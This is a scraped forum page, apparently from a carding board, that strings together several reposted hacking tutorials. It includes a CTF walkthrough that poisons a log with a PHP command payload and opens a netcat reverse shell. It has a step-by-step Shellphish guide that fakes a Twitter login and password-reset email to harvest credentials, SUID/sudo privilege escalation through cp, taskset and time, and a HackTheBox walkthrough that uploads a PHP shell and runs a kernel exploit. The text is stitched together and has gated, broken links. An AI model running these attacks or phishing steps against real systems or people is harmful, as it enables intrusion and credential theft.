[Image: 2.png?w=687&ssl=1]

Enumeration
After scanning, we go to network enumeration and for that I used enum4linux. Here I found a user account helios and share directory /anonymous & /helios
enum4linux 192.168.0.16
1
enum4linux 192.168.0.16
[Image: 3.png?w=687&ssl=1]

So try to connect with the shared network for accessing the/anonymous directory by connecting through smb.
[Image: 4.png?w=687&ssl=1]

So, in this shared folder I found a text file that I had explored here as shown below. The /attention.txt file gave some hint for user password as highlighted in the image. Hopefully, we can use any of these passwords to access a shared folder /helios.
[Image: 5.png?w=687&ssl=1]

Further, I try to access /helios using “qwerty” as login password and then I explored other files research.txt and todo.txt, although the research.txt was not much helpful but todo.txt gave a hint for /h3l105 that could be web file or web directory.
[Image: 6.png?w=687&ssl=1]

So, navigate to a web browser to access /h3l105 and found it as a WordPress website
[Image: 7.png?w=687&ssl=1]

Then I have added the host inside /etc/hosts file and move ahead for scanning vulnerability.
[Image: 8.png?w=687&ssl=1]

Further, we used wpscan for vulnerability scanning on the website. To do so we run the following command:
wpscan --url

[To see content please register here]

--enumerate p
1
wpscan --url

[To see content please register here]

--enumerate p
[Image: 9.png?w=687&ssl=1]

Wpscan has shown the exploit is available for a plugin which is vulnerable to LFI (Local File Inclusion).
[Image: 10.png?w=687&ssl=1]

On exploring the following link, we got proof-of-concept would be to load passwd file.

[To see content please register here]

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
1
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
[Image: 11.1.png?w=687&ssl=1]

As a result, we have accessed the passwd file and it proved that this site is vulnerable to LFI. Now through this LFI, I will try to create Remote code execution.

[To see content please register here]

To escalate LFI to RCE we can use SMTP log poison approach and therefore we connect to SMTP service via telnet and they type the following command to inject malicious php code.
telnet 192.168.0.16 25
1
telnet 192.168.0.16 25
As we can see, we got connected to the victim machine successfully. Now let’s try to send a mail via the command line (CLI) of this machine and inject malicious php code via data.
[Image: 12.png?w=687&ssl=1]

<?php system($_GET['c']); ?>
1
<?php system($_GET['c']); ?>
As our goal is to inject PHP code into the logs and this stage is called logfile poisoning and we can clearly see that details of mail.log, as well as execute comment given through cmd ©; now execute id as cmd comment to verify user-id and confirm its result from inside the given screenshot.
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id
1
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=id
[Image: 16.png?w=687&ssl=1]

This technique is known as

[To see content please register here]

and through such type of vulnerability, we can easily take the reverse shell of the victim’s machine.
Therefore, execute the following URL to run netcat reverse command and start netcat listener on kali:
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc -e /bin/sh 192.168.0.10 1234
1
http Confused

ymfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&c=nc -e /bin/sh 192.168.0.10 1234
[Image: 17.png?w=687&ssl=1]

Wow!! We got a reverse connection on netcat as shown in the below image. Further, we need to escalate the privilege from low privilege shell to higher.
nc -lvp 1234
1
nc -lvp 1234
Therefore, on spawning local shell I use find command to identify SUID enable binaries. Here I found SUID bit, is enabled for /opt/statuscheck.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Further, we use string command for extracting metadata of statuscheck where it was trying to call curl but get a fatal error when program executes. Such type of error occurs due to missing path variable in the current directory.
To know more, read from here:

[To see content please register here]

Taking advance of this loophole we try to export path for rouge curl which will call /bin/bash on executing the statuscheck program
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
echo $PATH
export PATH=/tmp:$PATH
/opt/statuscheck
id
cd /root
cat proof.txt
1
2
3
4
5
6
7
8
9
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
echo $PATH
export PATH=/tmp:$PATH
/opt/statuscheck
id
cd /root
cat proof.txt
[Image: 19.png?w=687&ssl=1]

[Guide] How to Shellphish: A Phishing Tool

Posted by: NINZA - 05-14-2020, 05:49 PM - Forum: Carders Home - No Replies

Shellphish is an interesting tool that we came across that illustrates just how easy and powerful phishing tools have become today. The tool leverages some of the templates generated by another tool called SocialFish. The tool offers phishing templates for 18 popular sites, the majority are focused on social media and email providers. There is also an option to use a custom template if so desired.
Declarations: This article is posted only for educational purpose to spread awareness among people from being trapped in Phishing attack.
Table of Content
Phishing and Social Engineering
Installation
Exploring Templates

Instagram
Netflix
Twitter

Weaponization
Phishing Attack
Phishing and Social Engineering
Phishing is probably one of the biggest issues for most organizations today, with network and endpoint defensive technology getting better and better, the bad guys aren’t trying to go after the though route and instead of going for the low hanging fruit. Phishing is one of those issues where training the employees is your best defence – try your best to make sure they can spot a malicious email and make sure that they can report it easily so that appropriate action can be taken as quickly as possible. The train of thought behind saying this is that – it’s beneficial to depend on multiple nodes of human intelligence to spot a potential threat, because even if one person spots and reports a phishing mail, it’s possible to run mass searches and find who all were targeted by a campaign.
Social engineering is a very interesting subject to think about, in this context, it is basically using the victim’s familiarity and habits against them. Human beings are creatures of habit, we are so used to certain things in our life that when faced with them, we don’t think twice before acting on them.
As an example; we are aware that there are a lot of attempts to by hackers to compromise social media accounts, so if one receives an email from your preferred social media site that there was an attempt to break into your account or an email to review your accounts security settings, most people will click on the link and log into their account to check what’s going on. A hacker will use this against a victim, all they need to do is swap a real link with a malicious one. Shellphish is probably one of the easiest ways to generate that malicious link. Let’s have a look.
Installation
Shellphish is fairly straight forward to install. It can be done on your Linux of choice, we will be using Kali. We fire up our Kali Linux and use the terminal to navigate to the desktop.
cd Desktop
1
cd Desktop
We need to clone the ShellPhish from GitHub, the download link is provided below.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

This makes a folder named “shellphish” on our desktop. Let’s check the folder and its contents.
ls
cd shellphish/
ls
1
2
3
ls
cd shellphish/
ls
The next step is to change the permissions of the shellphish.sh file so that we as the admin can use it. We don’t want everyone to have open access to it.
chmod 744 shellphish.sh
1
chmod 744 shellphish.sh
[Image: 1.png?w=687&ssl=1]

And that’s it, now we can launch our phishing tool
./shellphish.sh
1
./shellphish.sh
[Image: 2.png?w=687&ssl=1]

Exploring Templates
ShellPhish offers us 18 prebuilt templates, we will look through 3 of them to get an idea of what someone on the receiving end looks at when they get a link generated by this tool.
Get the Instagram page. The platform needs no introduction. We can see what the malicious link leads to, the page it shows is very convincing and might easily fool someone who isn’t paying attention.
[Image: 5.png?w=687&ssl=1]

Similarly, you can generate another duplicate page i.e NETFLIX as shown below.
[Image: 6.png?w=687&ssl=1]

Weaponization for Twitter
Now we will see what the process of weaponizing a phishing link looks like.
Once again, let’s start ShellPhish.
./shellphish.sh
1
./shellphish.sh
ShellPhish gives us a multitude of templates to choose from, all we need to do is follow the prompts the tool gives us.
We will choose the “Twitter template” for this demonstration.
4
We will be choosing option 2 here and using the Ngrok service to host our phishing link, this is what gives us the HTTPS on our phishing pages. Just by choosing this option, the tool starts a php and Ngrok server and we have our phishing link presented to us.
2
[Image: 7.png?w=687&ssl=1]

Now that we have our link, what do we do? What would a malicious actor do?
We won’t put in too much work into what is about to happen next, it’s more so to demonstrate a process that is commonly used. The first thing we need is an email sent by Twitter to a user to make them aware of a suspicious attempt to log in to their account and that they should secure their account by resetting their password. The catch here is that the user will first have to log into their account to reset their password.
Here is our email that conveys good intentions. Notice the “Reset Password” button.
[Image: 13.PNG?w=687&ssl=1]

We delete the “Reset Password” button, highlight where it says “password” in the “Secure your account by resetting your password now.”.
Click on the “Insert Hyperlink” function given in the formatting bar. We copy the link given to us by ShellPhish in the Kali terminal. See the section in the terminal that says, “Send this link to the victim:

[To see content please register here]

”. This link is pasted in the section that says, “Web address (URL)” and we click OK.
[Image: 14.PNG?w=687&ssl=1]

That’s it, we now have our weaponized email, ready to be sent to our victim
[Image: 15.PNG?w=687&ssl=1]

Phishing Attack
The victim has received the weaponized email, The moment the “password” link is clicked, the ShellPhish tool starts showing signs of activity. We can see that the tool gives us certain details like the IP of the victim, the browser they are using, the country and the city they reside in, etc.
Once the link is clicked, the victim is presented with a twitter page where they can enter their credentials to access their account so that they may change their password. We have volunteered to be the victim in this demonstration and are entering our account email “[email protected]” and password “12345wetrtt”
[Image: 17.png?w=687&ssl=1]

The moment we click on the “Log in” button, we are redirected to the actual Twitter site. Seems harmless right?
[Image: 18.png?w=687&ssl=1]

Now for the scary part, the credentials the victim entered have been ferried away to the malicious actor in plain text. Lo and behold! The tool proudly announces, “Credentials Found!”.
You can see the account name and password in plain text. The thing that really stood out was the line that tells us the currency used in the country the victim resides in, we’ll leave it to you to figure out why that is.
[Image: 19.png?w=687&ssl=1]

Declarations: This article is posted only for educational purpose to spread awareness among people from being trapped in Phishing attack.
This tool shows us how easy phishing attacks have become to execute and depending on how determined a malicious actor is, there is a lot of creativity that they can put into making the email look as legitimate as possible. Just to give you an idea of how serious the issue of phishing is, according to a recent

[To see content please register here]

– 3.4 billion fake emails are sent out daily!
Email firewalls mostly depend on threat intel or on the strength of their filters which dictate how much scrutiny they exercise on each email that hits a domain and how quick they can be to deem an email malicious.
The problem is that, if you don’t set the strength of these filters to a balanced setting, they will flag and block more emails than you would want, making the email firewall admins phone blow up. Not to mention the amount of business that will be hindered.
So, that’s why internal human intelligence is a big tool at our disposal when it comes to spotting malicious emails. There are many free resources to educate your employees and peers on how to spot a malicious email, this is one of those resources and probably one of the best ones around –

[To see content please register here]

As always, we at Hacking Articles hope you enjoyed this article and share it with your collogues.
Have fun and stay ethical.

In this article, we are going to grasp another very worthwhile command i.e. “cp” (copy) and will cover all the basic function of ‘cp” command that a user can use. As we know this command helps in copying the file/directories from the source to destination so, in this article we will study how we can attain the utility of this command in Privilege Escalation.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to cp

Major Operation performed using cp

Exploiting cp

SUID Lab setups for Privilege Escalation
Exploiting SUID

Introduction to cp
cp stands for copy. This command helps to copy files or group of files or directory from its source location to the destination. This generates an exact image of a file on a disk with the different file name. cp command needs at least two filenames in its arguments.
Very first, we will run its help command to make our readers more aware of the use of “cp” command.
cp --help
1
cp --help
[Image: 1.png?w=687&ssl=1]

Copy single file to the destination: As said above that cp command helps the user to copy the content of source file to its destination so now, here I am replicating the content of single file (raj.txt) to new file (chiya.txt). If the destination file already exits so this command simply overwrites the file without any warning message but if the destination file doesn’t exist, then first “cp” will create a new file then will copy the content of source file as per user’s desire.
cp raj.txt chiya.txt
1
cp raj.txt chiya.txt
By framing the above command cp will copy all the content of file raj.txt to chiya.txt as shown in below image.
[Image: 2.png?w=687&ssl=1]

Copy multiple files to a directory: By the help of this command, we not only copy the single file but also can copy multiple files to a directory whenever needed. Suppose we have multiple files as shown in the below image for the reader’s reference and we want to copy all at once to a specific directory then we can frame command as shown below:
cp 1 2 3 chiya.txt demo/
1
cp 1 2 3 chiya.txt demo/
By this command cp will copy the entire content from the file “1,2,3, chiya.txt” to mentioned destinated directory. If the directory doesn’t exist then first it will create a new directory and will copy the content to it but, if the directory already exists then cp will erase all content from the destinated directory and will simply overwrite to it so be careful while copying the content from source to location.
[Image: 3.png?w=687&ssl=1]

Copy source directory to the destination: With this option “cp” command shows its recursive performance by replicating the entire directory structure recursively. Suppose we want to copy all files and directories that a directory contains then in this case we will simply copy the whole directory instead to copy its files one by one to our desired destinated path.
In the below image I have copied the entire content of source directory “ignite” to destinated directory “demo2” (which is not exits). One can use -r or -R both argument for this purpose.
cp -R ignite demo2
1
cp -R ignite demo2
[Image: 4.png?w=687&ssl=1]

Interactive prompt: Normally when we use the cp command then it simply overwrites the file if it exists so to make it prompt for confirmation while copying a file, we will use the option “-i”. Using this argument, the command will prompt to overwrite the file which helps the user to save the content from being erased while copying from source to destination.
cp -i chiya.txt author
1
cp -i chiya.txt author
Here I want to copy the content of “chiya.txt” to “author” which have some of its own content so when I will use “-i” option then it will prompt me for its confirmation of overwriting the text.
[Image: 5.png?w=687&ssl=1]

Backup a file: Whenever we need to create a backup of the destination file then we will use the “-b” option for this purpose. cp helps to create a backup of the file in the same folder with the different name and in a different format.
cp -b chiya.txt author
1
cp -b chiya.txt author
On framing the above command cp will create a backup of file “author” in the same folder with a different name.
[Image: 6.png?w=687&ssl=1]

Copying using * wildcard: Suppose we have many text documents in a directory, and we want to replicate it into another directory so, copy all files one by one will take lots of time if specify all file names as the argument but by using * wildcard it becomes simple.
cp *.txt folder
1
cp *.txt folder
On typing above command, cp will copy all “txt” to destination.
[Image: 7.png?w=687&ssl=1]

Force copy: Sometimes it happens when user unable to open a file to perform writing operation due to permission which is set upon that in such case we use force copy “-f” option in cp command which helps the user to delete the destinated file first and then copying of content is done from source to destination file.
cp -f chiya.txt Example.txt
1
cp -f chiya.txt Example.txt
In the below screenshot we have seen that Example.txt file doesn’t have write permission to it so on using “-f” argument followed by cp command user can copy the content of source file to destination file.
[Image: 9.png?w=687&ssl=1]

SUID Lab setups for Privilege Escalation
SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Assume we are accessing the victim’s machine as a non-root user and we found suid bit enabled binaries, then those file/program/command can run with root privileges.
Read more from here:

[To see content please register here]

Now we are going to give SUID permission on cp so that a local user can take the privilege of cp as the root user.
Hence type following for enabling SUID bit:
which cp
chmod u+s /bin/cp
ls -la /bin/cp
1
2
3
which cp
chmod u+s /bin/cp
ls -la /bin/cp
[Image: 10.png?w=687&ssl=1]

Exploiting SUID
For this, we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for so many binary files, but we need /bin/cp.
[Image: 12.png?w=687&ssl=1]

As we know, cp has suid permission so taking advantage of this right we will try to escalate the root privilege by injecting a new user inside the /etc/passwd file.
First, we will open our /etc/passwd file followed by a tail command which will read this file from its end and help us to know that the file ends with the user “test”.
[Image: 13.png?w=687&ssl=1]

Now we are creating the salt value of password for our new user and this will be done by using “openssl” following by the command as mentioned in the screenshot below.
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
And we will get our hash value copy it for further use.
[Image: 14.png?w=687&ssl=1]

On moving ahead for the completion of this task now I have copied the entire content of /etc/passwd file in our local machine and will edit a new record for the user “chiya” then paste the above-copied hash password in the record as shown below.
Name this file as passwd and run python HTTP server for transferring this file into victim’s machine.
python -m SimpleHTTPServer
1
python -m SimpleHTTPServer
[Image: 15.png?w=687&ssl=1]

Now we want to inject our modified passwd file inside /etc folder to replace the original passwd file. We will use wget to download the passwd file from our machine (Kali Linux) inside /tmp directory.
cd /tmp
wget

[To see content please register here]

1
2
cd /tmp
wget

[To see content please register here]

Now by the help of cp command, we can easily copy the content of source file to the destination as shown in below image.
cp passwd /etc/passwd
tail /etc/passwd
1
2
cp passwd /etc/passwd
tail /etc/passwd
Now let’s switch to user chiya that own root user’s privileges and can access the root shell.
su chiya
password: pass123
id
1
2
3
su chiya
password: pass123
id
Conclusion: Hence you can notice from the given below image we have escalated the root privilege by abusing SUID permission on cp. Similarly, we can exploit the sudo permission assign on CP program.
[Image: 16.png?w=687&ssl=1]

In this article, we’ll talk about taskset command which is a Linux utility and learn how helpful the tasket command is for Linux penetration testing and how we’ll progress tasket utility to scale the greater privilege shell.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content

Introduction to TASKSET
Major Functions of TASKSET command
Sudo rights Lab setups for Privilege Escalation
Exploiting Sudo Rights
SUID Lab setup for privilege escalation
Exploiting SUID Rights

Introduction to TASKSET
Taskset is used to set or retrieve the CPU affinity of a running process given its PID or to launch a new COMMAND with a given CPU affinity. The CPU affinity is a scheduler property that “bonds” a process to a given set of CPUs on the system. The Linux scheduler will honor the given CPU affinity and the process will not run on any other CPUs. Note that the Linux scheduler also supports natural CPU affinity: the scheduler attempts to keep processes on the same CPU as long as practical for performance reasons. Therefore, forcing a specific CPU affinity is useful only in certain applications.
Major Functions of Tasket command
At first, we will run taskset -h command which means help and which will tell us about all the options which are available in TASKSET command as we can see in the picture below.
taskset -h
1
taskset -h
[Image: 1.png?w=687&ssl=1]

Top Command:
The top command is one of the basic commands to monitor server processes in Linux. The top command shows all running processes in the server. It shows you the system information and the processes information just like up-time, average load, tasks running, no. of users logged in, no. of CPU processes, RAM utilization and it lists all the processes running/utilized by the users in your server.
[Image: 2.png?w=687&ssl=1]

Usage
I will take the process id (PID) of 1988 as shown in the above image as an example to show the usage of taskset command.
If you want taskset to display CPU affinity of all the tasks of an already running process (PID), use the command in the following way:
taskset -ap 1988
1
taskset -ap 1988
If you want taskset to display CPU affinity of only a current task of an already running process (PID), use the command in the following way:
taskset -p 1998
1
taskset -p 1998
If you want taskset to display CPU affinity of an already running process (PID) in a list format, use the command in the following way:
taskset -cp 1988
1
taskset -cp 1988
[Image: 3.png?w=687&ssl=1]

Sudo rights Lab setup for Privilege Escalation
Now here our next step is to set up the lab of Sudo rights or in other words to provide Sudo privileges to a user for the taskset executable. Here we are going to add a user by the name of the test in the Sudoer’s file and we have given permission to user test to run the taskset command as the root user.
[Image: 4.png?w=687&ssl=1]

Exploiting Sudo Rights
Now we will connect through ssh in kali and after that, we will run sudo -l which is sudo list and through which we can see that user test has the permission to run taskset as a root user.
ssh [email protected]
sudo -l
1
2
ssh [email protected]
sudo -l
Now our next step is to exploit sudo rights through taskset command, so we will run the below-mentioned command with sudo rights and will get the bash shell of the target machine with root privileges.
sudo taskset 1 /bin/sh –p
id
1
2
sudo taskset 1 /bin/sh –p
id
[Image: 5.png?w=687&ssl=1]

SUID Lab setups for Privilege Escalation
As we know the SUID bit permission enables the user to execute any files as the ownership of existing file member. Now we are enabling SUID permission on taskset so that a local user can take the opportunity of taskset as the root user.
Type the following commands for enabling the SUID bit:
which taskset
chmod u+s /usr/bin/taskset
ls –la /usr/bin/taskset
1
2
3
which taskset
chmod u+s /usr/bin/taskset
ls –la /usr/bin/taskset
Now from the below image you can see the suid bit is set for taskset, now it’s time for the exploitation.
[Image: 6.png?w=687&ssl=1]

Exploiting SUID
Now again we will connect through ssh in kali to our victim machine using test user and after that, we will use Find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So from the below image, we can confirm that SUID bit is enabled for our concerned binary: /usr/bin/taskset
[Image: 7.png?w=687&ssl=1]

As we now know that we can run taskset with root privileges, so we are going to take advantage of that fact to add a new user with root privileges to /etc/passwd file, so that we can get access of the target machine with full root privileges.
Create a password hash for new user mark and password pass123 using openssl.
openssl passwd -1 –salt mark pass123
1
openssl passwd -1 –salt mark pass123
[Image: 8.png?w=687&ssl=1]

Now using echo with the taskset command we have added the new user mark with root privileges into the /etc/passwd file of the target machine and then log in the system with mark using su command and enjoy the root privileges.
taskset 1 echo 'mark:$1$mark$PL9HIgTDwnE9sG27q2Nrb/:0:0:root/:root:/bin/bash' >>/etc/passwd
su mark
id
1
2
3
taskset 1 echo 'mark:$1$mark$PL9HIgTDwnE9sG27q2Nrb/:0:0:root/:root:/bin/bash' >>/etc/passwd
su mark
id
Conclusion: In this post, we have talked on taskset command to demonstrate how a to intruder can escalate the privilege using tasket utility due to permissions allowed on it.
[Image: 9.png?w=687&ssl=1]

Help is a recently retired CTF challenge VM on Hack the Box and the objective remains the same– Capture the root flag. Hack the Box offers a wide range of VMs for practice from beginner to advanced level and it is great for penetration testers and researchers.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Help is 10.10.10.121
Penetration Methodology
Scanning

Network Scanning (Nmap)

Enumeration

Web Spidering (dirb)

Exploiting

Analyzing the behaviour of submitting ticket script
Uploading PHP shell and noting the timestamp
Converting shell+timestamp to md5 hash
Finding shell on the web server
Getting reverse shell through netcat
Reading user.txt

Privilege Escalation

Finding kernel exploit of Linux 4.4.0 version.
Compiling with GCC and escalating privilege
Reading root.txt

Walkthrough
Scanning
Let’s start off with the most obvious step, that is nmap to check open ports.
nmap -A 10.10.10.121
1
nmap -A 10.10.10.121
Here I found port 22 for SSH, 80 and 3000 for HTTP are opened others were filtered
[Image: 1.png?w=687&ssl=1]

We immediately proceed towards port 80 when we see it open. But there was absolutely nothing on the homepage.
[Image: 2.png?w=687&ssl=1]

Enumeration
But maybe, there is some other directory which is set as a homepage for a web application, so we won’t stop ourselves from directory enumeration with dirb.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Here we found two directories, one is the javascript directory which seems of less use as per usual. But then there is another directory called /support which seemed interesting. We checked it on the browser, and it seemed like a ticketing system.
[Image: 4.png?w=687&ssl=1]

Exploiting
Now, it is obvious that there will be a file upload option given in any ticketing system. And maybe, it is also possible that there is a vulnerability in the file upload mechanism.
We created a sample text file called demo.txt just to check whether the system is actually accepting uploads or not.
It seemed to be working fine!!
[Image: 5.png?w=687&ssl=1]

It successfully got uploaded and redirected us back to the homepage.
[Image: 6.png?w=687&ssl=1]

Now we tried enumerating the web server on a deeper level, but we couldn’t see our text file anywhere. It is possible that the php backend would have just renamed the file as per dev defined rules. Only if there was a way to check the code!
After googling HelpDeskZ, we found that the source code was available on GitHub. And that could actually give us a closer look at the code of the upload script.
Now, in controllers/submit_ticket_controller.php, we found the code that was responsible for uploading a file on the server.
There are three interesting noteworthy things here:

The file uploaded is going to “/support/<Upload_dir>/tickets”
There is no check on the type of file being uploaded! The error message is generated after the file is already uploaded so it has no actual significance!
File uploaded is being converted to a format: md5(shellname+ epoch timestamp) + .php

We are certain that it is in fact epoch timestamp because of the working of “time()” function
[Image: 10.png?w=687&ssl=1]

So, it is pretty clear that we will upload a php reverse shell (we took pentester monkey’s reverse netcat php shell) and work towards exploiting this file upload vulnerability. But we were unable to find our text file a few minutes ago. Now that we know what the format of storing the file on the web server is, let’s work our way towards manually creating an md5 hash.
For this, we need to know the current time on the web server. Our time zone could be way different than the server’s and to generate an exact timestamp, we upload a php shell while capturing the network request in developer tools in Firefox.
[Image: 8.png?w=687&ssl=1]

Now that we had the time in GMT, we headed to

[To see content please register here]

and converted this time into an epoch timestamp.
[Image: 9.png?w=687&ssl=1]

Now that we had obtained this timestamp, we could either write a short script in PHP that uses an md5 hash function to generate the hash or we can simply open the php in an interactive mode:
php –a
echo md5("myshell.php1560956116");
1
2
php –a
echo md5("myshell.php1560956116");
Your timestamp will vary than ours.
[Image: 11.png?w=687&ssl=1]

Now that it had given us a hash, all was left to do was to find it and open it in our browser, set a reverse nc connection and get a shell.
And in the article above you can see that we know it is being uploaded to “/support/<upload_dir>/tickets” but the problem was we didn’t know what the name of upload directory is. Our best bet was going with the name “uploads” since we saw that folder name in the GitHub files as well.

So, we set a reverse netcat listener and got a shell immediately! We spawned a proper TTY using python and read the user.txt file in home directory.
nc –lvp 1234
python –c 'import pty;pty.spawn("/bin/bash")'
cd /home/help
cat user.txt
1
2
3
4
nc –lvp 1234
python –c 'import pty;pty.spawn("/bin/bash")'
cd /home/help
cat user.txt
[Image: 19.png?w=687&ssl=1]

Privilege Escalation
Now for the privilege escalation part, we checked the kernel version with uname –a and found it to be vulnerable to a kernel exploit. We downloaded it using searchsploit and That made it super easy!
searchsploit 4.4.0-116
searchsploit –m 44398
python –m SimpleHTTPServer 8081
1
2
3
searchsploit 4.4.0-116
searchsploit –m 44398
python –m SimpleHTTPServer 8081
[Image: 20.png?w=687&ssl=1]

We changed the directory to tmp and downloaded this exploit using wget command, compile it with GCC and boom went the magic!
wget

[To see content please register here]

gcc 44298.c -o kernel
./kernel
cd /root
1
2
3
4
wget

[To see content please register here]

gcc 44298.c -o kernel
./kernel
cd /root
And voila! That’s how we escalated privilege in Help CTF and read the congratulatory message under root directory in root.txt.
[Image: 21.png?w=687&ssl=1]

[Guide] Linux for Pentester: Time Privilege Escalation

Posted by: NINZA - 05-14-2020, 05:48 PM - Forum: Carders Home - No Replies

In this article, we’ll talk about Time command which is a Linux utility and learn how helpful the time command is for Linux penetration testing and how we’ll progress time to scale the greater privilege shell.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Contents
All About Linux Time Command
Major Operation Perform by Time
Abusing Time Utility

SUID Lab Setups for Privilege Escalation
Privilege Escalation
Sudo Lab Setups for Privilege Escalation
Privilege Escalation

All About Linux Time Command
The time command runs the specified program command with the given arguments. When the command finishes, time writes a message to standard error giving timing statistics about this program run.
These statistics consist of:

the elapsed real time between invocation and termination named as real.
the user CPU time named as a user.
the system CPU time named as sys.

Time may exist in most cases as a stand-alone program (such as GNU time) or as a shell (such as sh, bash, tcsh, or zsh).
To identify all type of installed time program we run this:
type -a time
1
type -a time
Here “time is a shell keyword” which means it a built-in keyword exist to bash whereas “time is /usr/bin/time” denotes it’s a binary that exists to GNU.
[Image: 1.png?w=687&ssl=1]

Major Operation Perform by Time
One can go with “help time” or “man time” commands to explore the summary to ensure why time command is used for?
Run Command
As said above, time command computes the timing statistics for any program run (pipeline’s execution). For example: To compute the time taken by date command
For Bash: time date
For GNU: /usr/bin/time date
/usr/bin/time -p date
1
2
3
For Bash: time date
For GNU: /usr/bin/time date
/usr/bin/time -p date
As result, you will notice, first it has run the date command and dump the complete date with time zone and then disclosed the time taken by date command as real, user CPU, system CPU time in seconds. While the same information was dumped by using GNU with some extra information such as total INPUTS or OUTPUT.
Use -p options with /usr/bin/time for obtaining output into bash time.
Note: The real, user & system time will be zero for any program which would execute continuously because next time that program will be recalled from the inside cache memory of the system.
[Image: 2.png?w=687&ssl=1]

Save Output
By default, time command displays the timing statistics for the program being executed at the end of its execution in the terminal but if you want to store the obtained timing statistics inside a file then you can go with -o options.
Syntax: /usr/bin/time -o [path of destination folder] command
/usr/bin/time -o /tm/ping ping google.com
cat /tmp/ping.txt
1
2
/usr/bin/time -o /tm/ping ping google.com
cat /tmp/ping.txt
[Image: 3.png?w=687&ssl=1]

Verbose Mode
You can use -v option for verbose mode, here you can estimate the time acquired by the internal resources to produce an output of the given input.
[Image: 4.png?w=687&ssl=1]

Formatting String
The format string generally comprises of ‘ resource specifiers ‘ combined with plain text by using a percent sign (`%’) as given below.
/usr/bin/time -f “Elaspsed Time = %E, Inputs %I, Outputs %O” head -4 /etc/passwd
1
/usr/bin/time -f “Elaspsed Time = %E, Inputs %I, Outputs %O” head -4 /etc/passwd
[Image: 5.png?w=687&ssl=1]

You can use \n for a new line to print the format string as shown the given screenshot.
/usr/bin/time -f “Elaspsed Time = %E \n Inputs %I \n Outputs %O” tail -5 /etc/passwd
1
/usr/bin/time -f “Elaspsed Time = %E \n Inputs %I \n Outputs %O” tail -5 /etc/passwd
[Image: 6.png?w=687&ssl=1]

Abusing Time Utility
SUID Lab Setups for Privilege Escalation
The SUID bit permission enables the user to perform any files as the ownership of existing file member. Now we are enabling SUID permission on time so that a local user can take the opportunity of time as the root user.
Hence type following for enabling SUID bit:
which time
chmod u+s /usr/bin/time
ls -la /usr/bin/time
1
2
3
which time
chmod u+s /usr/bin/time
ls -la /usr/bin/time
[Image: 8.png?w=687&ssl=1]

Privilege Escalation
Now we will start exploiting time service by taking the privilege of SUID permission. For this, I’m creating a session of the victim’s machine which will permit us to develop the local user access of the targeted system.
Now we need to connect with the target machine with ssh, so type the command:
ssh [email protected]
1
ssh [email protected]
As we know we have access to victim’s machine so we will use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we came to recognize that SUID bit is permitted for so many binary files, but are concerned is: /usr/bin/time.
[Image: 9.png?w=687&ssl=1]

Taking privilege of SUID permission on time we are going to grab the shadow’s file for extracting password hash file.
[Image: 10.png?w=687&ssl=1]

Now I have use john the ripper tool to crack the password hashes. By doing so we will get credential of the user as shown in below image.
john hash
1
john hash
[Image: 11.png?w=687&ssl=1]

Once we get the user’s credential then we can switch user. Here first we check sudo rights for user: raj and noticed that user “raj” has ALL privileges.
su raj
sudo -l
sudo su
1
2
3
su raj
sudo -l
sudo su
Therefore, we switch to the root user account directly and access the root shell as shown in the image. Hence, we have successfully accomplished our task of using time utility for Privilege Escalation.
[Image: 12.png?w=687&ssl=1]

Sudo rights Lab setups for Privilege Escalation
Now here our next step is to set up the lab of Sudo rights or in other words to provide Sudo privileges to a user for time executable. Here we are going to add a user by the name of the test in the sudoers files and here we have given permission to user test to run /usr/bin/time as the root user.
[Image: 13.png?w=687&ssl=1]

Privilege Escalation
Now we will connect through ssh in kali and after that, we will run sudo -l which is sudo list and through which we can see that user test has the permission to run /usr/bin/time as the root user.
sudo -l
1
sudo -l
As we have seen above, that time command computes the time when a program run, therefore, now taking advantage of time command.
sudo time /bin/sh
1
sudo time /bin/sh
[Image: 14.png?w=687&ssl=1]

Conclusion: In this post, we have talked on time command to demonstrate how an to intrude can escalate the privilege using time utility due to permissions allowed on it.

In this article, we’ll learn about Nexpose, which is used to scan a vulnerability network. There are various vulnerability scanners but the part that keeps it special is its smooth user interface and robust reporting options it offers, from the most common to the advance.
Table of Content

Introduction to Nexpose
Nexpose Virtual Appliance Installation
